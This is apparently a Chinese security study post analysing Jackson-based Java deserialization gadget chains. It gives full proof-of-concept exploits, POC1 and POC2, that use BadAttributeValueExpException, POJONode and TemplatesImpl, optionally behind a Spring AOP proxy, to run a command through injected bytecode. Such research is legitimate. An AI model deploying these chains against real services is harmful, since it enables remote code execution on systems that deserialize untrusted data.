前言 之前学习了fastjson库的反序列化和原生反序列化触发任意类的getter方法,而jackson作为与之相似的另一个JSON库,也被发掘出存在相应的问题
关于jackson 在 Java 里,Jackson 是一个非常常用的 JSON 处理库 ,由 FasterXML 开发。主要作用是将java对象转化为JSON对象(序列化)以及将JSON对象转化为java对象(反序列化)
常用模块
jackson-core :提供核心的流式 JSON 读写 API。
jackson-databind :最常用,提供 ObjectMapper,支持对象与 JSON 的互转。
jackson-annotations :提供注解支持,比如 @JsonProperty、@JsonIgnore。
*jackson-datatype- **:支持 Java 8 的时间类型、JodaTime、Guava 等扩展。
常用方法 Jackson提供了ObjectMapper.writeValueAsString()和ObjectMapper.readValue()两个方法来实现序列化和反序列化的功能。
ObjectMapper.writeValueAsString()———序列化
ObjectMapper.readValue()————————反序列化
依赖 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.25.0-GA</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-databind</artifactId > <version > 2.13.3</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-core</artifactId > <version > 2.13.3</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-annotations</artifactId > <version > 2.13.3</version > </dependency >
然后我们来看看Jackson的基本用法
举个栗子 先写个User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package SerializeChains.JacksonSer;public class User { private String username; private String password; public User () { System.out.println("调用了无参构造方法" ); } public User (String username, String password) { System.out.println("调用了有参构造方法" ); this .username = username; this .password = password; } public String getUsername () { System.out.println("调用了 getUsername 方法" ); return username; } public void setUsername (String username) { System.out.println("调用了 setUsername 方法" ); this .username = username; } public String getPassword () { System.out.println("调用了 getPassword 方法" ); return password; } public void setPassword (String password) { System.out.println("调用了 setPassword 方法" ); this .password = password; } }
然后写个Test测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 package SerializeChains.JacksonSer;import com.fasterxml.jackson.databind.ObjectMapper;public class Test { public static void main (String[] args) throws Exception { User user = new User ("wanth3f1ag" ,"123456" ); ObjectMapper mapper = new ObjectMapper (); String json = mapper.writeValueAsString(user); System.out.println(json); User user2 = mapper.readValue(json, User.class); } }
可以看到在序列化的时候触发了getter方法和有参构造方法,在反序列化的时候触发了setter方法和无参构造方法
老规矩,看看序列化是如何触发getter的
Jackson的序列化如何触发getter 在writeValueAsString行代码处打上断点进行调试
跟进的过程就不需要看了
函数调用栈大致是这样的
然后我们看几个关键的函数
com.fasterxml.jackson.databind.ser.BeanSerializer#serialize方法
_objectIdWriter是用于标记对象的处理ID,如果同一个对象在 JSON 中出现多次,可以用 "id" 引用,而不是重复展开整个对象。
跟进writeStartObject函数看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public void writeStartObject (Object forValue) throws IOException { this ._verifyValueWrite("start an object" ); JsonWriteContext ctxt = this ._writeContext.createChildObjectContext(forValue); this ._writeContext = ctxt; if (this ._cfgPrettyPrinter != null ) { this ._cfgPrettyPrinter.writeStartObject(this ); } else { if (this ._outputTail >= this ._outputEnd) { this ._flushBuffer(); } this ._outputBuffer[this ._outputTail++] = '{' ; } }
writeStartObject函数主要是写入{字符并维护上下文的
返回serialize
1 2 3 4 5 if (this ._propertyFilterId != null ) { this .serializeFieldsFiltered(bean, gen, provider); } else { this .serializeFields(bean, gen, provider); }
根据是否有过滤器调用serializeFieldsFiltered或serializeFields,serializeFieldsFiltered内部会检查每个字段是否允许写入 JSON,如果不允许就跳过。没有过滤器的化默认序列化所有字段
最后是调用writeEndObject方法写入}字符
在com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields中
跟进serializeAsField方法
1 Object value = this ._accessorMethod == null ? this ._field.get(bean) : this ._accessorMethod.invoke(bean, (Object[])null );
_accessorMethod 通常是 java.lang.reflect.Method 类型,用于表示某个 getter 方法。如果 _accessorMethod 是 null,就说明没有可用的 getter 方法,需要直接访问字段 _field。如果 _accessorMethod 不为 null,说明可以通过 getter 方法来访问属性,也就是his._accessorMethod.invoke(bean, (Object[])null);去触发
也就是这里会调用getter方法,如果继续跟进就会跳转到getter方法中
链子分析 TemplatesImpl链 既然是writeValueAsString方法能触发任意getter方法,那我们看看哪里有调用到writeValueAsString
最经典的getter就是TemplatesImpl.getOutputProperties方法。
POJONode#toString 看到com.fasterxml.jackson.databind.node.BaseJsonNode#toString方法
跟进com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString方法
这不就是刚刚序列化用的writeValueAsString方法吗?
但是因为BaseJsonNode是抽象类,所以我们需要找一个子类并且这个子类并没有重写toString方法
看到ValueNode类,但是也是抽象类,继续往前回溯
最后找到POJONode类
该类的继承关系是:
1 POJONode -> ValueNode -> BaseJsonNode
然后我们来找找哪里能调用到toString方法,这就又可以用原生链BadAttributeValueExpException触发toString了
简单写一下POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package SerializeChains.JacksonSer;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class Poc1 { public static void main (String[] args) throws Exception { TemplatesImpl templates = (TemplatesImpl) initEvilTemplates(); POJONode pojoNode = new POJONode (templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException,"val" ,pojoNode); serialize(badAttributeValueExpException); unserialize("jacksonSerialize01.txt" ); } public static TemplatesImpl initEvilTemplates () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); byte [] code = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\JavaSerialize\\target\\classes\\SerializeChains\\CCchains\\CC3\\POC.class" )); byte [] Foocode = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\JavaSerialize\\target\\classes\\SerializeChains\\CCchains\\CC3\\Foo.class" )); byte [][] codes = {code, Foocode}; setFieldValue(templates, "_bytecodes" , codes); setFieldValue(templates,"_name" ,"a" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true ); field.set(object, field_value); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("jacksonSerialize01.txt" )); oos.writeObject(object); oos.close(); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
优化一下,用infer师傅的函数写一个命令执行的class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 package SerializeChains.JacksonSer;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;public class Poc1 { public static void main (String[] args) throws Exception { TemplatesImpl templates = (TemplatesImpl) initEvilTemplates(); POJONode pojoNode = new POJONode (templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException,"val" ,pojoNode); serialize(badAttributeValueExpException); unserialize("jacksonSerialize01.txt" ); } public static TemplatesImpl initEvilTemplates () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); byte [] bytes = getshortclass("calc" ); byte [][] codes = {bytes}; setFieldValue(templates, "_bytecodes" , codes); setFieldValue(templates,"_name" ,"a" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true ); field.set(object, field_value); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("jacksonSerialize01.txt" )); oos.writeObject(object); oos.close(); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } public static byte [] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); clazz.addConstructor(constructor); byte [] bytes = clazz.toBytecode(); return bytes; } }
但是调试之后发现这计算器并非是反序列化的时候弹的而是在序列化的时候
出现报错了? 在报错中发现
1 Failed to JDK serialize `POJONode` value: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties" ])
这是jackson在序列化java对象的时候尝试序列化 TemplatesImpl 的 outputProperties 字段时出现 NullPointerException
空指针错误
看一下报错StackTrace
1 2 3 4 5 6 7 8 9 Exception in thread "main" java.lang.IllegalArgumentException: Failed to JDK serialize `POJONode` value: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties" ]) at com.fasterxml.jackson.databind.node.NodeSerialization.from(NodeSerialization.java:40 ) at com.fasterxml.jackson.databind.node.BaseJsonNode.writeReplace(BaseJsonNode.java:28 ) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke(Method.java:497 ) at java.io.ObjectStreamClass.invokeWriteReplace(ObjectStreamClass.java:1118 ) at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1136 )
意思就是在序列化POJONode的时候内部的Bean出现了空指针异常,我们跟过去看一下
在writeObject0函数中
会检查序列化的对象中是否有invokeWriteReplace方法,如果有的话就调用对象的invokeWriteReplace方法
然后就来到BaseJsonNode#writeReplace方法
1 2 3 Object writeReplace () { return NodeSerialization.from(this ); }
进入from方法后就会抛出报错
那我们尝试手动把这个方法删除,让序列化的流程恢复正常
1 2 3 4 5 6 public static void overrideJackson () throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); }
最终POC1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 package SerializeChains.JacksonSer;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;public class Poc1 { public static void main (String[] args) throws Exception { overrideJackson(); TemplatesImpl templates = (TemplatesImpl) initEvilTemplates(); POJONode pojoNode = new POJONode (templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException,"val" ,pojoNode); serialize(badAttributeValueExpException); unserialize("jacksonSerialize01.txt" ); } public static void overrideJackson () throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); } public static TemplatesImpl initEvilTemplates () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); byte [] bytes = getshortclass("calc" ); byte [][] codes = {bytes}; setFieldValue(templates, "_bytecodes" , codes); setFieldValue(templates,"_name" ,"a" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true ); field.set(object, field_value); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("jacksonSerialize01.txt" )); oos.writeObject(object); oos.close(); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } public static byte [] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); clazz.addConstructor(constructor); byte [] bytes = clazz.toBytecode(); return bytes; } }
成功弹出计算器
函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 access$000 :56 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) run:401 , TemplatesImpl$1 (com.sun.org.apache.xalan.internal.xsltc.trax) doPrivileged:-1 , AccessController (java.security) defineTransletClasses:399 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getTransletInstance:451 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) serializeAsField:689 , BeanPropertyWriter (com.fasterxml.jackson.databind.ser) serializeFields:774 , BeanSerializerBase (com.fasterxml.jackson.databind.ser.std) serialize:178 , BeanSerializer (com.fasterxml.jackson.databind.ser) defaultSerializeValue:1142 , SerializerProvider (com.fasterxml.jackson.databind) serialize:115 , POJONode (com.fasterxml.jackson.databind.node) serialize:39 , SerializableSerializer (com.fasterxml.jackson.databind.ser.std) serialize:20 , SerializableSerializer (com.fasterxml.jackson.databind.ser.std) _serialize:480 , DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serializeValue:319 , DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serialize:1518 , ObjectWriter$Prefetch (com.fasterxml.jackson.databind) _writeValueAndClose:1219 , ObjectWriter (com.fasterxml.jackson.databind) writeValueAsString:1086 , ObjectWriter (com.fasterxml.jackson.databind) nodeToString:30 , InternalNodeMapper (com.fasterxml.jackson.databind.node) toString:136 , BaseJsonNode (com.fasterxml.jackson.databind.node) readObject:86 , BadAttributeValueExpException (javax.management) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) unserialize:62 , Poc1 (SerializeChains.JacksonSer) main:28 , Poc1 (SerializeChains.JacksonSer)
TemplatesImpl链子的不稳定性 在JACKSON触发链的过程中,在com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields方法下会获取找到的templates对象的属性并循环触发其getter方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 protected void serializeFields (Object bean, JsonGenerator gen, SerializerProvider provider) throws IOException { final BeanPropertyWriter[] props; if (_filteredProps != null && provider.getActiveView() != null ) { props = _filteredProps; } else { props = _props; } int i = 0 ; try { for (final int len = props.length; i < len; ++i) { BeanPropertyWriter prop = props[i]; if (prop != null ) { prop.serializeAsField(bean, gen, provider); } } if (_anyGetterWriter != null ) { _anyGetterWriter.getAndSerialize(bean, gen, provider); } } catch (Exception e) { String name = (i == props.length) ? "[anySetter]" : props[i].getName(); wrapAndThrow(provider, e, bean, name); } catch (StackOverflowError e) { DatabindException mapE = new JsonMappingException (gen, "Infinite recursion (StackOverflowError)" , e); String name = (i == props.length) ? "[anySetter]" : props[i].getName(); mapE.prependPath(bean, name); throw mapE; } }
但是好像获取的这三个props的顺序是随机的(虽然我反复调试了三次都是一样的顺序),如果某个props例如stylesheetDOM在outputProperties之前,那么getStylesheetDOM会先触发,但是此时_sdom的属性是空,那么就会导致抛出空指针报错,从而终止反序列化的流程
这也是为什么说该链子不太稳定的原因
如何解决? 我们看到Templates接口
1 2 3 4 5 6 public interface Templates { Transformer newTransformer () throws TransformerConfigurationException; Properties getOutputProperties () ; }
可以发现这个只有一个getOutputProperties方法
总结一句话:当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法。
我们的目的应该是让代理接口仅仅包含我们需要的方法 getOutputProperties,此时Templates接口就只有一个getOutputProperties方法,也是我们想要的
解决方法就是:
构造一个 JdkDynamicAopProxy 类型的对象,将 TemplatesImpl 类型的对象设置为 targetSource
使用这个 JdkDynamicAopProxy 类型的对象构造一个代理类,代理 javax.xml.transform.Templates 接口
JSON 序列化库只能从这个 JdkDynamicAopProxy 类型的对象上找到 getOutputProperties 方法
通过代理类的 invoke 机制,触发 TemplatesImpl#getOutputProperties 方法,实现恶意类加载
我们搓一下实现的代码
1 2 3 4 5 6 7 8 9 10 11 public static Object getPOJONodeStableProxy (Object templatesImpl) throws Exception{ Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class []{Templates.class}, handler); return proxyObj; }
JdkDynamicAopProxy是Spring AOP的JDK动态代理类,它实现了InvocationHandler接口
源码分析 看到JdkDynamicAopProxy类的invoke方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 @Override @Nullable public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { Object oldProxy = null ; boolean setProxyContext = false ; TargetSource targetSource = this .advised.targetSource; Object target = null ; try { if (!this .equalsDefined && AopUtils.isEqualsMethod(method)) { return equals(args[0 ]); } else if (!this .hashCodeDefined && AopUtils.isHashCodeMethod(method)) { return hashCode(); } else if (method.getDeclaringClass() == DecoratingProxy.class) { return AopProxyUtils.ultimateTargetClass(this .advised); } else if (!this .advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) { return AopUtils.invokeJoinpointUsingReflection(this .advised, method, args); } Object retVal; if (this .advised.exposeProxy) { oldProxy = AopContext.setCurrentProxy(proxy); setProxyContext = true ; } target = targetSource.getTarget(); Class<?> targetClass = (target != null ? target.getClass() : null ); List<Object> chain = this .advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass); if (chain.isEmpty()) { Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args); retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse); } else { MethodInvocation invocation = new ReflectiveMethodInvocation (proxy, target, method, args, targetClass, chain); retVal = invocation.proceed(); } Class<?> returnType = method.getReturnType(); if (retVal != null && retVal == target && returnType != Object.class && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) { retVal = proxy; } else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) { throw new AopInvocationException ( "Null return value from advice does not match primitive return type for: " + method); } return retVal; } finally { if (target != null && !targetSource.isStatic()) { targetSource.releaseTarget(target); } if (setProxyContext) { AopContext.setCurrentProxy(oldProxy); } } }
JdkDynamicAopProxy类中的advised成员是org.springframework.aop.framework.AdvisedSupport类型的对象,targetSource是取自advised对象中的targetSource成员变量,该成员变量中保存了JdkDynamicAopProxy类代理的接口的实现类
当代理类的某个方法被调用时会触发invoke方法,然后会尝试调用targetSource成员变量中保存的接口的实现类所实现的成员方法,那么就会调用到getOutputProperties方法
可以看到此时的props只剩下outputProperties了,那么就不会存在不稳定的问题了
最终POC2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 package SerializeChains.JacksonSer;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;public class Poc2 { public static void main (String[] args) throws Exception { overrideJackson(); TemplatesImpl templates = (TemplatesImpl) initEvilTemplates(); Object proxy = getPOJONodeStableProxy(templates); POJONode pojoNode = new POJONode (proxy); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException,"val" ,pojoNode); serialize(badAttributeValueExpException); unserialize("jacksonSerialize02.txt" ); } public static Object getPOJONodeStableProxy (Object templatesImpl) throws Exception{ Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class []{Templates.class}, handler); return proxyObj; } public static void overrideJackson () throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); } public static TemplatesImpl initEvilTemplates () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); byte [] bytes = getshortclass("calc" ); byte [][] codes = {bytes}; setFieldValue(templates, "_bytecodes" , codes); setFieldValue(templates,"_name" ,"a" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{ Class c = object.getClass(); Field field = c.getDeclaredField(field_name); field.setAccessible(true ); field.set(object, field_value); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("jacksonSerialize02.txt" )); oos.writeObject(object); oos.close(); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } public static byte [] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); clazz.addConstructor(constructor); byte [] bytes = clazz.toBytecode(); return bytes; } }
函数调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 access$000 :56 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) run:401 , TemplatesImpl$1 (com.sun.org.apache.xalan.internal.xsltc.trax) doPrivileged:-1 , AccessController (java.security) defineTransletClasses:399 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getTransletInstance:451 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeJoinpointUsingReflection:344 , AopUtils (org.springframework.aop.support) invoke:208 , JdkDynamicAopProxy (org.springframework.aop.framework) getOutputProperties:-1 , $Proxy0 (com.sun.proxy) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) serializeAsField:689 , BeanPropertyWriter (com.fasterxml.jackson.databind.ser) serializeFields:774 , BeanSerializerBase (com.fasterxml.jackson.databind.ser.std) serialize:178 , BeanSerializer (com.fasterxml.jackson.databind.ser) defaultSerializeValue:1142 , SerializerProvider (com.fasterxml.jackson.databind) serialize:115 , POJONode (com.fasterxml.jackson.databind.node) serialize:39 , SerializableSerializer (com.fasterxml.jackson.databind.ser.std) serialize:20 , SerializableSerializer (com.fasterxml.jackson.databind.ser.std) _serialize:480 , DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serializeValue:319 , DefaultSerializerProvider (com.fasterxml.jackson.databind.ser) serialize:1518 , ObjectWriter$Prefetch (com.fasterxml.jackson.databind) _writeValueAndClose:1219 , ObjectWriter (com.fasterxml.jackson.databind) writeValueAsString:1086 , ObjectWriter (com.fasterxml.jackson.databind) nodeToString:30 , InternalNodeMapper (com.fasterxml.jackson.databind.node) toString:136 , BaseJsonNode (com.fasterxml.jackson.databind.node) readObject:86 , BadAttributeValueExpException (javax.management) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) unserialize:78 , Poc2 (SerializeChains.JacksonSer) main:33 , Poc2 (SerializeChains.JacksonSer)
可以看到在第一次经过serializeFields函数的时候会调用到动态代理Proxy0的接口的方法,也就是getOutputProperties方法
然后就会直接跳转到JdkDynamicAopProxy的invoke方法
此时就会走我们前面分析的流程,这样确保了不管那个props在outputProperties之前都不会先执行,而是跳转到invoke,从而只执行getOutputProperties方法避免空指针报错
SignedObject二次反序列化链 之前Hessian2+SignedObject二次反序列化绕过TemplatesImpl无法正常序列化的时候讲过
并且getObject也是一个getter方法,那就可以试一下调用他
